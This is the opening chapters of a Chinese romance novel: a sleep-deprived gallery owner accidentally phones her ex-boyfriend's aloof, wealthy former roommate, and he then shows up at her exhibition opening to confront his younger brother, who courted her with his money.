《她不和我撒娇》
1. 第 1 章
江熙宁最近缺觉的厉害。
新一期的展筹备三个多月,昨晚因为一副参展的画作在运输中出了点问题,又熬了个通宵,忙完已经是早上七点。
浑浑噩噩回到家,睡下没几小时。
嘭嘭嘭——
一栋两户的排屋,两家共享一堵墙,隔壁的住户不知在墙上安装什么东西,又敲又锤,江熙宁瞬间清醒。
今天是周日,按规定不可以装修扰民,领居的这种行为已经不是第一次了。自从去年年初进场装修,一年多的时间里一直处于装装停停的状态。大概是前期消极怠工耽误了进度,最近经常加班加点赶工。
敲墙声不绝于耳,江熙宁觉得这锤子大概是敲她脑子里去了,太阳穴也跟着突突的跳。她阖着眼伸手摸手机,早上到家那会儿实在太累,睡的仓促,不知道给扔哪里了。
手脚并用仰泳似的扩大摸索范围后。
咚的一声。
手机摔到床下。
……
一阵烦躁在内心升起。
昏暗的房间里,屏幕光尤为扎眼,像根尖锐的小针刺的人眼疼,她调低亮度,眯眼看时间,十一点刚过三分。
睡了不到四小时。
江熙宁打开摄像机,录制一段视频发送给物业。晚上六点有开幕酒会,这要是持续一整天,补眠时间算是彻底报废了。
消息发了十分钟的样子,隔壁装修声是停了,女主人叫嚣的骂声又持续了好一阵。
“装个护墙木,多大声音?”
“嫌吵去买别墅啊!”
“我这是婚房,必须赶在婚期前装完!!!”
现在开始着急了,早干嘛去了。
……
物业劝阻了半天,才止住了女邻居冲天的怨气,好像受害者是她似的。
江熙宁烦闷的转了个身。她觉轻,稍有点儿动静容易醒,醒了想再入睡很困难。
在床上辗转一个小时没睡着后,再度拿起手机。
乔西娅在半个小时前给她发了消息。
乔西娅:【好家伙!】
江熙宁回了个问号过去。
江熙宁:【说话说一半,小心单身汉。】
两年前青大毕业回到宁城后,江熙宁同好友乔西娅合伙经营“此刻”画廊。她负责艺术家对接和藏品上货,乔西娅负责作品的推广和展上销售。
布完展后的主要战场是在乔西娅,江熙宁终于得空能补个觉。
但也没补成功。
没出半分钟,电话响起。
“还有时间编排我,怎么还没睡?”乔西娅中气十足的声音从电话里传来。
江熙宁软绵轻飘的唔了一声,在床上打了个滚。
是她不想吗?
实在是和周公打交道太难了。
“你给我讲个睡前故事?”江熙宁的声音带着睡意未消的朦胧和娇柔。
乔西娅抵不住她的撒娇,随口自创故事,“很久很久以前,在一个遥远的王国里,住着一位美丽的公主,她有一个怪癖,那便是从不睡觉……”
江熙宁闭眼听着,感觉眼前多了个黑漆漆的天坑。
乔西娅挖的。
“……国王召告天下,若是有人能让公主像正常人一样入睡,他便赏赐这个人金山银山……后来一位神医出现,只用了一计便让公主睡着了。”
江熙宁认真捧哏,“乔神医真厉害!”
乔西娅啧一声,“问重点。”
“……”
江熙宁无奈问道,“敢问乔神医的独家秘方是什么呢……”
乔西娅对她的配合很是满意,笑眯眯道,“方法便是,睡在八块腹肌上。”
“……”
就知道这女人,没憋什么好屁。
乔西娅对自己的独门秘方信心发言,“你试试,不管用我单身一年。”
最怕鱼塘空空、无鱼可钓的海后,愿意用这个发毒誓,足以说明她本人实践的不错。江熙宁红唇微张,打了个慵懒的哈欠,“没有八块腹肌你不也睡的香。”
“不一样!”乔西娅提高音量,车速飞快,“你得把睡觉从名词变为动词,一次不行就两次,两次不行四次。”
江熙宁闭了闭眼,把脸埋进枕头里,“自己都睡不好,更睡不好别人,还不如你的故事催眠。”
乔西娅怒其不争,“白长这么好看的一张脸,不用要么给我!”
“嗯?”江熙宁俏眉轻抬,“你的脸不要了?”
“……”
车速太快,乔西娅成功将自己聊翻车。
话题就此急刹。
江熙宁顺势转了话题,问她,“你之前发消息说的是什么事儿?”
乔西娅经提醒才想起打电话是为了更重要的事,“于富城上午来画廊allin了这一期展所有的画。”
江熙宁突然明白过来,乔西娅晴天白日的在那铺垫八块腹肌的用意了。
于富城是两个月前在一次派对上认识的一个富二代,俊朗热烈的加州小狼狗,从小国外长大因此拥有西方人的体魄,长得很是结实健硕。自从见过江熙宁后,便展开了热烈的追求,日日往画廊里送花,隔三差五的跑画廊。
司马昭之心,路人皆知。
“真是人间富贵花。”
乔西娅为自己有这样一个好富友骄傲。江熙宁长的极漂亮,她虽然避开销售的一切工作,尽可能的避免成为交易的焦点,但想通过在画廊买画来讨她欢心的追求者仍然络绎不绝。
于富城不是第一个来画廊里一掷千金的,可绝对是出手最阔绰的一个。画廊这一期推出的是双展,名家&新锐艺术家画作共计十六件,总价值快有半个小目标。
江熙宁以前从不插手藏家买画这些事,不过问目的,更不过问人。别人的喜好、花钱的自由她无法阻止,也阻止不过来。
时间久了,自然便知道通过买画讨她欢心,纯属白浪费钱。
但这一次江熙宁让乔西娅将合作取消。
“我把他删了。”
乔西娅愕然的阿了一声,“我以为你不讨厌于富城。”
江熙宁确实不讨厌,但也谈不上喜欢。她和于富城的几次接触,全然是因为乔西娅新交的小奶狗男友,和于富城是好兄弟。
碍于乔西娅还没睡腻池延,抬头不见低头见的,她也没决绝的太难看。
直到昨天一个名叫“上江区貂蝉”的人通过派对上组的群加江熙宁好友,指责她是第三者。
江熙宁一向记名字困难,尤其是人多的酒局。幸好派对那天为了方便游戏,破冰自我介绍时,全是以上江区作前缀+著名人物作后缀的名字。
什么上江区小栗旬、上江区貂蝉,上江区浩克,上江区葫芦娃兄弟……
还有上江区于富城。
因为这些绰号她对上不少人的脸。这个上江区貂蝉是那天坐在于富城身边的美女。乖巧娇俏,派对全程像个小挂件似的围着他。
莫名奇妙飞来的横锅,江熙宁是不可能背的。她利索的把丢锅的人以及于富城,双双清出了聊天人名单。
乔西娅得知还有这么一茬事儿后,愤然,“原来于富城是负金请罪。”
江熙宁不过是借着这个由头将人给拒了,压根对这事儿无感。让她能气愤的反倒是,这些花了好大心思的参展画作,被他这么拿来消费。
艺术这一行,外行看热闹,内行看门道。愿意为之投资的要么是懂艺术,要么是觉得有实用价值。
于富城对艺术一窍不通,连水粉画、水彩画都分不清,那些画对他来说和一堆五颜六色的废纸没有区别。
至于实用价值,恐怕不够格上他家豪
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宅的墙。
作为十多年的好友,乔西娅十分了解江熙宁的性子,她若是拒绝了一个人,界限划的比法律条文都明确。
就没见她和追求失败的人做朋友的,于富城是真一点机会都没了。只是这么大一笔订单,乔西娅想想都肉疼。
好在江熙宁的艺术审美极好,经她挑选的作品市场认可度一向高。
最多销售的时间线拉的长一点。
乔西娅似是自我慰藉的开口说,“没事,这单黄了,还有下一单。”
好友这么会抓重点,江熙宁相当欣慰。
“没有了于富城,还有下一个。”
江熙宁:……
“不过拒绝的话,你自己和于富城说啊。”
“?”
乔西娅痛心道:“那可是半个小目标,拒绝的话我说不出口。”
“……”
-
挂了电话,江熙宁在床上又躺了一会儿,翻开通讯录。
派对结束后,于富城把他的号码存在她手机里,让她随时打给他。当着人的面江熙宁没好意思删,回来之后把这茬给忘了。
电话嘟了两声后接通。
“于富城。”江熙宁率先开口喊了他一声。
安静、、两秒。
暗沉沉的房间里只回响着她的声音。
?
没信号?
江熙宁抽下手机,满格。
“于富城,怎么不说话。”
两秒后,对方应声。
“嗯”。
平日里话又密又多,热情张扬的人,今日像是换了个性子,改惜字如金了。
江熙宁想起于富城没有她的号码,正想开口说自己是谁时,话筒那边有人喊了声“于总。”
语气毕恭毕敬的。
于总?
还有于富城的长辈在他边上?
她的第一反应是,一口气花了家里半个小目标的公子哥正在挨训。
买藏品可不是笔小数目。
难怪在电话里不出声,声音也低沉,应该是挨骂情绪不佳。猜他现在不方便,江熙宁言简意赅道,“等你空了,来画廊一趟。”
说完便撂了电话。
-
此时,华盈大楼。
落地窗外是高楼林立的青城,错落有致的大厦构成了城市天际线的壮丽轮廓。
“抱歉于总。”
穿着西装的助理,笔直站在一旁。刚才进门时完全没注意到自家老板在听电话。
坐在椅子里的人收起手机,神色冷淡的扫视着助理递过来的一沓文件。
一份是财务报表,惨不忍睹。位于宁城的分公司从两年前成立开始,简直和碎钞机似的,集团投多少,亏空掉多少。最近一个季度,烧掉了两个亿。
另一份是银行流水,穷奢极侈。一个月内七位数的支出触目皆是。最新一笔大额开销是在今日上午,金额达到了八位数。收款方是家叫做“此刻”的名不见经传的小画廊。
肖易仔细查过,这家画廊成立于两年前,力推的是一些新人艺术家。他不懂艺术,但也知道像什么莫奈、梵高的画才有价值。
至于说小于总为什么一掷千金买这么一堆没什么名气的画。同为男人,他觉得逃不出第二个原因。
“此刻画廊。”座位里的人念着名字。
助理直了直身子,将查到的画廊信息如实汇报并递上相关资料,里面还有主理人的几张照片。
桃面娇颜,漂亮的和画出来似的。
有些话,懂事的助理不需说太明。
老板懂的!
他站在一旁,静候着,偌大的办公室安静的针落可闻。
暴风雨来临前的宁静。
片刻后,座位里的人沉声道。
“去宁城。”
2. 第 2 章
华灯初上,压倒天光。
开幕party开始。
画廊是一幢独栋的艺术楼。一楼是新锐艺术家的展厅,二楼是范老的个人展,三楼是画廊的工作区域。
来宾们手持香槟三三两两地聚在一起观赏、讨论作品。江熙宁陪同油画大家范梦华在展厅里逛了一圈,范老欣赏完年轻艺术家们的作品后,连连赞叹后生可畏。
范老同各大藏家交流了一阵创作心得后,不到九点便撤了。他今年七十二岁,一向习惯早睡。
送完范老,江熙宁又招呼了一轮,感觉自己累成了散装件。每一块肌肉、每一根骨头各管各的,不听使唤。
中途不停有藏家借着聊画作的名义来搭讪,她委婉的将人转给乔西娅,闪身去了三楼工作室。
进了办公室,平日会客的沙发上蜷缩着个人影。走近一看,是昨天加她微信的上江区貂蝉。
画廊的工作人员这会儿都在楼下展厅忙着,没人注意到她是什么时候上来的。
江熙宁目光扫到茶几上歪斜倒着的酒杯和那瓶空了的香槟,眉尖轻拧。
她这是酒会又不是酒吧,喝成这样?
……
“醒醒。”
“天文。”睡着的人似是梦呓。
“谁?”
江熙宁微蹙着眉,后知后觉想起她喊的人是于富城的本名是于天文。
“天文,我要睡觉。”
“……”
谁摆的烂摊子谁收。江熙宁解锁屏幕打算联系始作俑者。
刚想点下去早上联系的号码时,却停住了手。
一丝异样,闪电般从心头划过。江熙宁突然想起什么,她点进Y姓列表。
于富城的名字率先映入眼帘,她动作没停继续下拉名单,每过一个名字,心向上提一分。
往下七八个名字后,视线被死死的钉在屏幕上。
江熙宁用力的眨了眨眼。
于天文。
于天文!
那她打给的“于富城”是?
脑海中有什么东西轻轻的崩开,稀碎。
不会是分手了八百年的前任的、室友……
于付忱吧!
在青大读书时,江熙宁谈了一场全校瞩目的恋爱。前任李晋许是青大校草。两人出双入对时,论坛里最热的贴几乎都和他们有关。
年少时的恋情总是张扬热烈的,从不藏着掖着,一切甜蜜宣之于众。
但俗话说秀恩爱死的快。
两人的恋情只维持了四个月,且分的不怎么愉快。
要细究起来和于付忱还有点儿关系。她和李晋许在一起时,他说两人不合适。她和李晋许分手时,他说她太娇气。
恋情一结束,江熙宁把和李晋许有关的人和事全部从自己的世界里清除干净了。要不是今天打错电话,她也不会察觉还有一条漏网之“于”。
只是于付忱的号码怎么会躺到她的通讯录里?
江熙宁用为数不多还清醒着的脑细胞搜索着已经淡忘的记忆。她突然想起大四那年圣诞节,李晋许同她大吵一架,两人断联了一天。凌晨睡下时她被一个陌生电话吵醒。
李晋许借用室友的电话和她解释,和兄弟们在外面聚会,手机没电。
江熙宁知道这是李晋许为了和好找的台阶。
想着多一个紧急联系人以备不时之需也是好的,她顺手存了这个号码,那时候她不知道于付忱名字具体对应的是哪两个字。但听李晋许提及过他家里条件十分优渥,富可敌城。
输入法蹦出来“富城”这个词组时,她随手一选。
……
江熙宁掐了手机,窘迫和尴尬铺天盖地的将她占据。
果然是觉睡不好,痴呆没跑。
为了防止哪天脑子不清醒又打错,她再次点开于付忱的号码。
删除!
在“于富城”三个字从列表里消失后,江熙宁安慰自己,虽说她无意留了于付忱的号码,但对方未必存了她的,说不定以为是个诈骗电话。
最近不是很流行一种新型诈骗方式,骗子获取个人信息,装成领导或者认识的人打电话通知见面以此实施骗钱目的。
江熙宁仔细回忆了一番打电话时的语气和内容,觉得连开场白都差不多。
退一万步。
即使于付忱留了她号码。
他家在青城,离宁城一千多公里,两人又不会再碰面。遇不着,没什么好尴尬的!
想到这江熙宁心瞬间比大海宽阔了。
-
乔西娅回办公室,看见江熙宁一脸愁郁,以为她是因为衣佳惠赖在画廊烦心,登时便来了火。
“这人真有意思,于富城不理她,改缠上你了?”
江熙宁窝在椅子里,转着只笔解困,懒声道:“醉翁之意,不在我。”
不出意外的话,衣佳惠的酒等于天文来了才能醒。
衣佳惠或许是认为于天文今天会来画廊。即使不来,也料定江熙宁在收到那样的消息后,会找他来带走她这“喝醉的受害者”。
何况还喊梦话特意提醒了她。
不过衣佳惠大概是忘了自己喝酒上脸这件事,那天派对上,只是一小口酒她的妆容已经斑驳不堪,更何况今日一整瓶。
但是她今天水光肌妆容精致完整。
江熙宁看的出来,常年出入各种酒局的乔西娅自然也看的出来。
乔西娅力道不轻的拍了拍衣佳惠,“喂,醒醒。”
睡着的人丝毫没反应。
乔西娅从江熙宁手里抽走水笔,使了个眼色说道:“上次玩游戏惩罚环节被她逃脱了,正好她这会儿‘睡着’,今日补上吧。到时候发群里给大家。”
派对那天玩游戏,输家必须接受脸上被涂鸦画丑的惩罚。衣佳惠美女包袱极重,输了却不愿意扮丑被众人取笑,哭哭啼啼、撒娇卖萌,最后抿了一小口酒躲过去了事。
躺在沙发里的衣佳惠面肌微不可察的一僵,翻了个身朝向沙发里侧。她的目的是坚持到于天文来画廊,至于其他的,等自己事成再来算帐也来得及。
她不动声色的咬紧牙关,任凭怎么喊都不醒。
衣佳惠不知她的小动作全然落入江熙宁眼里。
那笔最后还是没落上去,乔西娅看着拿走作案工具的人,“你还真随了她的心意啊?”
“做个顺水人情。”江熙宁神色淡然。反正都是要找于天文。衣佳惠在,索性当着两人的面把话说清,也免得日后纠缠。
衣佳惠睡在办公室,乔西娅像是躲病毒似的,嫌弃的下了楼。
人闲下来,困意便开始喧嚣,江熙宁起身去洗手间清了把脸,还是困。回办公室时看见酒酒和航航两人站在连廊处窃窃私语。
“快,拍了发给宁宁姐和西娅姐。”
江熙宁走到两人身后,“发什么?”
航航扭头看见是她,向一楼展厅的方向激动的指了指,“宁宁姐,楼下有个巨帅的帅哥!”
江熙宁的视线顺着航航指的方向落在一道峻拔落拓的身影。男人穿着一身黑色西装,单手听着电话,长身立在展厅中央。剪裁合体的高定西装完美衬托出他挺拔的身形,宽肩窄腰、黄金头身比。
即使被西装覆盖着,肌肉的轮廓隐约可见。
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这身形想必是有八块腹肌的。
八块腹肌?
江熙宁被自己突然飘出掌控的想法蚌埠住。
打住打住!
她立刻将乔西娅的那不着边际的话从脑子里赶出去。
从三楼看不太清男人的脸,但不妨碍江熙宁凭借男人优越的线条、斐然的气质,判定这人长着一张赏心悦目的脸。
鉴赏美的事物,她可是专业的。
男人不知道在电话里说到什么内容,突然视线向楼上的方向扫来。
“转过来了!”
举着手机的航航恰好拍到了男人的正脸,她双指将照片放大,男人像是精准的捕捉到了镜头的存在,一张俊冷的脸占据了整个屏幕。
“好帅啊,完美建模脸!”
“哈喇子流屏幕上了。”
“哪有!”被航航打趣的酒酒脸颊飞起一片红晕。
“脸都红了,不信你问宁宁姐,我说的对不对……”
航航转头看向江熙宁。
诶?
为什么别人看到帅哥脸红,她们老板看见帅哥脸更白了?
……
江熙宁喧嚣的睡意跑走了大半,她的目光紧盯着照片上那张脸。
不是,这人长得怎么这么像于付忱?
航航见江熙宁脸色不好,关切的问:“宁宁姐,你是不是哪里不舒服?”
“唔,太困了。”江熙宁随口扯了个理由,余光中大厅里的人影已经向电梯的位置走去,似乎要上楼来。电梯口在她们右手边几步路的位置,如果他上三楼,一出来便能看见她。
“我去楼下转转。”江熙宁仅剩下的脑细胞,无法支撑她思考眼下的情形,还没来得及反应,两条腿已经不假思索的迈开步子。
朝着和电梯相反的方向。
不管这人是不是于付忱,三十六计,走为上。
万一真是,电话的事要怎么说。
说不好意思,打错了。
大老远的骗,不是,约你来,其实是个乌龙。
……
于付忱可能会建议她去医院看看脑吧。
……
酒酒见江熙宁走的是左手楼梯的方向,好心提醒,“宁宁姐走错了,电梯在那。”
“……”
贴心的酒酒。
江熙宁头也不回,“人多!”
酒酒看着空闲的电梯,瞪着一双圆眼。
人多……吗?
象牙白的旋转楼梯,曲线蜿蜒。楼梯设计之初,是为了增强画廊的空间美感,简单来说主要是为了观赏性,上下爬楼费力,大家都喜欢坐电梯。
尤其江熙宁还穿着高跟鞋和拖地的抹胸裙,一不留神,细长的鞋跟踩到了裙边。
江熙宁弯腰掀了掀裙子,轻抬脚,扯出和鞋跟高缠在一起的水晶纱。裙子破了一个口子……
这件裙子是认识多年的设计师朋友为她量身定做的,虽然不是什么高奢,但仅此一件。
这里是她的地盘!
她躲什么?
而且说不定那人根本不是于付忱。
只是十分像而已。
江熙宁低头看着战损的裙边正懊恼时,耳畔响起一道脚步声,由远及近逐渐清晰。
“咔哒,咔哒,咔哒。”
声音离她几步远的位置停下。
江熙宁抬眼,一道挺阔的身影映入眼帘。男人黑色西装,黑色头发,莹黑眼睫。整个人像一汪幽深不见底的深潭,矜冷淡漠、俊毅至极。
是照片里的男人。
他和于付忱不是十分像。
他就是于付忱本尊!
3. 第 3 章
明明看见他往电梯方向走了,怎么又改走楼梯了!
注意到楼梯上的倩影,于付忱抬眸,目光精准的看过来。
比照片中更清晰更沉冷的一双眉眼,天然带着疏离感。
猝不及防的狭路相逢,四目相对。江熙宁纠结眼下是不是该做点儿什么。
比如打个招呼?
可转念一想,距离最后一次见面过去两年多了,万一他没认出她来,难道还要翻出李晋许这个前任介绍说:你好,我是你兄弟的前女友……
那大可不必!
对视的两秒里,谁也没有主动开口,空气也好似跟着停滞。
幸好,一阵手机震动声打破了当前的尴尬。于付忱慢条斯理的收回视线,垂眸看向捏在手心嗡嗡震动的手机。
“喂。”低沉的男声在空间蔓延开。
完全不同于于天文的清亮明朗的一把嗓音,电话里怎么没听出呢。江熙宁反思的空档,听见他又说道。
“还没见到。”
还没见到?
江熙宁敏锐的抓住了关键词,她突然想起电话里自己只字未提画廊信息,于付忱压根不知道见面地址,所以不可能来找她的。
最大的可能是和别的什么朋友约在了画廊。
又或者恰巧来宁城出差,偶然路过画廊,进来陶冶下情操。
不过……
另一个念头随即浮现在脑海。
她能一眼将于付忱认出来,于付忱未必没认出自己。虽说她是他室友的前女友,但大学那会儿江熙宁和他见面的次数并不多,说起来关系十分淡薄。这么些年过去了,他不可能有兴致扯出些以前就不存在的交情来。
故意装不认识,也挺有可能。
这么一想,江熙宁以为当个路人路过才是眼下的最优解。
她继续朝前走。
画廊内,古典乐的旋律轻柔地流淌,音符跳跃着,轻盈得几乎不触及耳膜。
江熙宁今晚穿着的米色小羊皮高跟鞋,踩在洁白的瓷面台阶上,宛如一双素白而纤细的玉手,在钢琴键上弹奏出哒哒哒的节奏。
两人的距离越来越近。
江熙宁心跳乍乱,拿起手机用社会人“假装在忙”的方式佯装镇定。她把未读消息点了个遍,注意力却完全游离在屏幕之外。
“知道了。”于付忱挂了电话,目光随着她的动作,再次扫过来。
不用抬头,江熙宁都能感受到头顶那道注视感极强的目光。
甚至能感觉到这人就站那儿一步未挪。
把她认出来了?
即将错身而过时,乔西娅的电话像是天神降临。
江熙宁心虚的拿电话挡了半边脸,快速的走过人旁边,拉开两人之间的距离。
“找我?我马上来。”
“?”
乔西娅一头雾水,“不是宁宁,我想说你站那别动。”
“……”不可能,她现在巴不得自己会瞬移。
“你往楼下看。”
江熙宁扭头,乔西娅在楼下大厅朝她挥着手,边上还站着个高挑英气的美女,举着一个相机,以为是媒体拍现场照片。画廊每次开展,都会邀请媒体前来采访,推广和宣传画廊。
作为画廊的主理人,自然是逃不掉入镜为自家的画廊站台。但她现在全无心思在这上面,只想赶紧走人。
“我新认识的摄影大师,看到你和边上的绝色想创作下。”乔西娅贼贼的笑着,“你能不能回个头和帅哥打个招呼。”
“……”
不能!
开什么玩笑,和于付忱合影,疯了吧。
她留意到身后的脚步声已经消失了。
人应该走远了?
江熙宁松一口气,没打算回头确认。走出几步,却听身后一道冷质的嗓音响起。
“请问——”
这里只有俩人,江熙宁想装听不见,但身体比脑子先下意识的回过身。
于付忱单手插着兜,露着一截冷白的腕骨,八位数的腕表在画廊的明亮的光线下闪着细碎的光。
“——办公室怎么走。”他问。
语气礼貌淡然,像是不想浪费时间只想直奔目的地,于是随便抓了个人问路。但他要去办公室,咨询买画还是对今晚的酒会有什么不满要投诉的?
狐疑之际,江熙宁脱口问道,“您是有什么事吗?”
“嗯。”
熟悉的,惜字如金的,一个嗯字。
那您倒是说什么事儿。
江熙宁努力维持表情,扯出一个礼貌的笑,自我介绍道,“我是这家画廊的主理人,有什么需要帮助的可以告诉我。”
听到这,于付忱眉梢轻抬,他侧着脸,画廊的光线在他的优越的轮廓上明暗交错,神情隐在阴影里。
他缓缓开口,语调平稳:“找你。”
找她?江熙宁的一颗心被这话提到嗓子口。
下一秒。
于付忱补了句:“也行。”
……
说话说一半,注定单身汉啊!
她刚才差点被他前半句话送走。
两人走到办公室门口,于付忱停了脚步,站在她身后两步的距离,等她先进。
江熙宁推开门。
“宁宁——”
“啪——”
关门声夹断了里面的声音。
于天文不知道什么时候到的办公室,正和衣佳惠两人在里面搂搂抱抱,把她这里当成什么了,颜色场所吗!
江熙宁关门的时候动作不轻,震的她手心微微发麻。她仰着脖子看向身后的于付忱,“我处理点儿事,麻烦你稍等下?”
她一米六三的个子,堪堪只到于付忱胸前的位置。画廊的光将他的身影虚虚的投在门上,影子像座山似的罩着她。
逆着光,他的眼底泛着一片深不可测的阴翳。
这大哥,让他等会儿不至于不高兴吧?
于付忱垂眸看着退身出来的人,微蹙着眉,红唇微翘,脸上写满着不高兴三个字。
“不会太久的,可以吗?”她说。
娇柔的一把嗓音,带着花香和蜜甜,即使是询问的口吻,也沾染上几分撒娇的意味。
于付忱耳朵里微微发痒。
几秒后。
江熙宁听见惜字如金的人,平静不带情绪的又蹦出一个“嗯”字。
见他答应,她才再次推开门走进去。背过身的片刻,白皙的脸立刻沉
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下来。
这会儿功夫,于天文已经扯掉像牛皮糖粘在身上的衣佳惠,顺带拉起她快掉落到肘弯的泡泡袖肩领,将它重新复原到肩膀上,覆盖住暴露在空气中的一片雪白。
他接到江熙宁的电话兴冲冲的来了画廊,办公室没见到江熙宁,只有衣佳惠在。
衣佳惠见他来,醉意朦胧醒来,踉踉跄跄的起身,于天文怕她摔了伸手扶了一把。结果她整个人顺势倒到他的怀里,将抱的他死死的。
拉扯间两人的衣服被蹂躏的一团乱。
于天文穿着的衬衣,领口的纽扣在拉扯中散落了两颗。
“宁宁,你别误会。她喝醉了,我只是扶一下。”于天文扯了把发皱的衣服,起身解释,昨日江熙宁才因误会将他拉黑,不想今天这一幕又被撞了个正着。
遇到江熙宁之前于天文身边的莺莺燕燕不少,外形帅气,举止开放,加上中央空调的性格,让他从来不缺女孩子喜欢,衣佳惠也是其中之一。
不过是接触暧昧了段时日,衣佳惠却对他上了心,处处黏着他,自以为已经是他女朋友。
于天文最怕的是死缠烂打,想方设法躲着衣佳惠,没想到她还找上了江熙宁。
“等衣佳惠醒了我和她说清楚。我和你保证,绝对不会再来骚扰你。”
被冷落在一旁的衣佳惠暗中咬了咬唇,离美人计得逞就差一步。江熙宁一出现,于天文像丢破抹布似把她扯下扔到一旁。
但这戏还得演下去,否则前面的准备和隐忍都前功尽弃了。自古套路得人心,江熙宁光有一副好皮相,但远不如她懂男人,谁笑到最后可不好说。
江熙宁摆摆手,猜到衣佳惠装醉是想见于天文,但没想到紧跟着的还有投怀送抱美人计。
好歹也等于天文将她带回家在实施,在画廊里拉拉扯扯多难看?
传出去,她的画廊变成什么了!
顾虑到外面还有一个需要解决的麻烦,她说道,“正好你来,想让你帮我两个忙。”
“你说,十件都可以。”于天文目光灼热,上前想靠近她。
江熙宁向后退了几步,“不用,就两件。一,你把人带走。我这里是画廊,不是酒店。”
于天文连忙点头答应。
“二,画廊的画你不能买,我会让乔西娅和你对接退定金的事宜。”
“为什么?”
于天文知道自己是画廊唯一一个,拍下了整个展的画的人。
他买画,不仅仅是想哄江熙宁开心。更重要的是每次来画廊,江熙宁都在忙着备展没时间见他。
定了画廊里的画,她可以不用那么忙了,也不用为了宣传卖画,抛头露面出现在各大媒体前。
竞争者已经够多了。
于天文再次靠前,将娇美的人逐渐围拢,有句古话,烈女怕缠郎,只要他不放弃,江熙宁最后一定会喜欢他。
而且他敢确定,没有一个男人,愿意像他一样有诚意。
“宁宁,为了你花钱,我愿意。”
江熙宁心想,我不愿意。
正要开口,门被人推开。一道冷质的如在寒冰中浸润过的嗓音擦过在场人的耳膜。
“你花我的钱,问过我愿不愿意了?”
4. 第 4 章
酒会结束,乔西娅拿着酒精喷雾对着沙发一顿狂喷,说要去去茶气。
“真是哆啦A梦的口袋。”
能装。
江熙宁心思有些烦乱,于付忱那句“花他的钱”像带着混响似的,在脑海里循坏,他和于天文竟然是亲兄弟。
这两人除了姓一样,样貌、性格哪里有半点儿相似的地方,而且一个在青城,一个在宁城。
乔西娅见江熙宁半天不吭声,“你和于富城说清楚了?”
“半路杀出个于付忱。”
根本还没来得及,刚才于付忱进屋后,对话的人从她和于天文,变成了他和于天文。从两人对话里她大致弄懂了于付忱会出现在画廊,全然是因为亲兄弟花了他的钱,兴师问罪来了。
乔西娅还不知道于天文和于付忱的关系,听这话一脸懵,“什么半路杀出个于富城?”
“人家叫于天文,以后别叫人于富城。”
打错号码前,没和于付忱联系在一起的时候,江熙宁只觉得这天王般的名字熟悉又好记。
但现在每叫一次,唤起的是于付忱这个人在她脑海里奔腾。
乔西娅:“之前不是叫的好好的。”
现在不太好。
江熙宁悠悠叹口气,把自己打乌龙电话以及于付忱和于天文是兄弟的事告诉了她。
乔西娅惊叹这是什么缘分时,恍然总结,“四舍五入,是他哥为你花钱。”
“……”
“难怪于富城挺喜欢这绰号,敢情是用他哥的名字花他哥钱,图心安理得吧。”
江熙宁不置可否。
“既然是老同学,有没有可能顾及情谊,这订单就不退了?”
“他应该没认出来我。”江熙宁支着下巴如实说道,从头至尾,于付忱都没有扯过只字片语。
“他脸盲?”乔西娅单指挑起她下巴,音调拔高,“诶,你诶,你这长相还能不记得?”
“……”
江熙宁轻拍掉乔西娅的手:“我和他没见过几次。”
于付忱在青大的时候,更像是活在别人口中的产物,他好像特别忙,除了来上课,课余时间几乎见不着人,加上他不怎么住学校,连李晋许这个同寝室的,也难得碰到几回。私下的兄弟聚餐,大家各自带着女友去,他也很少参加。
他不在,大家自然对他的讨论颇多。江熙宁听过几嘴,有说他毕业后直接继承家业,自然不愿意和他们这些毕业后要为生计发愁的兄弟过多来往。
有说他眼高于顶,这种人没人愿意和他做朋友。
但很奇怪的是,有于付忱出现的聚餐,还是同样的一帮人,通通对他热情的很。女生更不用说了,个个目光黏在他身上。
不过无论多么炽烈的热情,最终都会被这沉冷的性子冻成冰渣渣。
江熙宁从那时候就知道这人,不宜接近。
但也不怪乔西娅惊讶,江熙宁长得是顶漂亮的。
而且是一种任性,不管人死活的漂亮。浓颜潋滟,乌发红唇,肤白胜雪,像油画般色彩浓郁而生动。
“你不就认出他来了。”
“……”
江熙宁不以为然,她对于美的事物天然印象深刻,就像遇到迷人的艺术品她能一眼记住。
她悠然道,“说明他,缺乏发现美的眼睛。”
-
于天文忐忑的跟着于付忱走出画廊,他哥毫无预兆,千里迢迢跑来,不会真的因为花了几千万和他生气吧。
毕竟,他花他的钱,又不是这两天的事。
这点钱,应该也不多吧?
当然如果算上之前投给公司的,积少成多,确实老鼻子钱。
“哥,你怎么突然来宁城了?”于天文试探的问道。
刚才在江熙宁的面前,于天文没好意思问,只想着赶紧带着他哥走,被她知道买画的钱是他哥的已经够丢面子了,要是再被训一顿,以后还有什么脸面来画廊。
于付忱偏头睨了他一眼,语气冷硬的像块铁,“我怎么不知道,你开的是艺术公司?”
于天文:“……”
于天文从小学习成绩烂到没法看,他爸怕他的文化课成绩气颠爷爷,直接把他送到相对没那么卷考试的国外去念书,高中毕业后,又花了一大笔赞助费上了一所名牌大学镀金。
外金有没有镀上不知道,内里倒是被西方的文化彻底淘洗了一遍,于天文习惯了绝对自由的生活。
自由在于家,是不存在的东西。
爷爷于向华曾是一名军人,退役后下海,一手创立了现今声名显赫的华盈集团。老爷子将带兵的那一套纪律和管理模式带入了公司,乃至家庭生活。
吃饭、睡觉、都有严苛的规定时间。每天还要雷打不动的体能训练,于天文从小觉得在家和入伍没什么区别。
于天文因为经常逃课和兄弟出去嗨浪,成绩不好加上被学校认为态度不端,最终被学校开除,混了个肄业。这要是被老爷子知道了,还不被大卸八块后,于是他找了个国外的ai项目的噱头,只说是时不待我,是退学创业。
还举了许多牛逼的大佬,什么比尔·盖茨、扎克伯格都是哈佛退学去创业。
这心思哪里瞒得过久经沙场、心明眼亮的于向华,于天文便被家里断了所有的经济来源赶出来。
美曰其名,创业自然是要白手起家。
幸亏那时于付忱暗中资助于天文一张来宁城的机票,不然他哪里能快活逍遥这两年。
“哥,我这不是为了给你哄弟媳。”于天文心虚的堆笑时,两个壮汉保镖一左一右,架着“不省人事”的衣佳惠出来。
于付忱眉眼沉下,凉凉的瞥去一眼。
“哪一个?”
“……”
这还用的着问吗?衣佳惠虽然漂亮,小家碧玉柔柔弱弱的,但和江熙宁比,高下立判,差的不是一星半点。
于天文这些年在国外生活,温柔淑女的、大胆豪放的、火辣娇媚的,什么样的都接触过。但都没有江熙宁给他的心动来的热烈和直接。
江熙宁不仅仅是漂亮,不管是骨子里娇而不媚、艳而不妖的气质,还是身上那种自由和不羁,她身上的每一点都十分的吸引他。
想到这,于天文对他哥哥突然生出了一丝同情。这些说了他哥也不会理解的。他哥在智商、能力、还有那张脸各方面都是顶配,唯独在情感上从不开窍。现在他好像找到原因了。
